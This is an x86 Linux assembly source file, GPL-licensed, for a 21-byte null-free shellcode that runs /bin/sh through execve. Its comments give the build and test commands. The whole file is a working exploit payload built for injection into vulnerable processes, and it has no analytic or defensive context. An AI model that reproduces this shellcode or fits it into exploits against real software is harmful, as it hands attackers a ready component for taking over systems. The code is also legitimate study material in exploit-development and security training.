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; Tiny Execve sh - Assembly Language - Linux/x86
; Copyright (C) 2013 Geyslan G. Bem, Hacking bits
;
; http://hackingbits.com
; geyslan@gmail.com
;
; This program is free software: you can redistribute it and/or modify
; it under the terms of the GNU General Public License as published by
; the Free Software Foundation, either version 3 of the License, or
; (at your option) any later version.
;
; This program is distributed in the hope that it will be useful,
; but WITHOUT ANY WARRANTY; without even the implied warranty of
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
; GNU General Public License for more details.
;
; You should have received a copy of the GNU General Public License
; along with this program. If not, see <http://www.gnu.org/licenses/>.
; execve
;
; * 21 bytes
; * null-free
;
;
; # nasm -f elf32 tiny_execve_sh.asm
; # ld -m elf_i386 tiny_execve_sh.o -o tiny_execve_sh
;
; Testing
; # ./tiny_execve_sh
global _start
section .text
_start:
; int execve(const char *filename, char *const argv[], char *const envp[])
xor ecx, ecx ; ecx = NULL
mul ecx ; eax and edx = NULL
mov al, 11 ; execve syscall
push ecx ; string NULL
push 0x68732f2f ; "//sh"
push 0x6e69622f ; "/bin"
mov ebx, esp ; pointer to "/bin/sh\0" string
int 0x80 ; bingo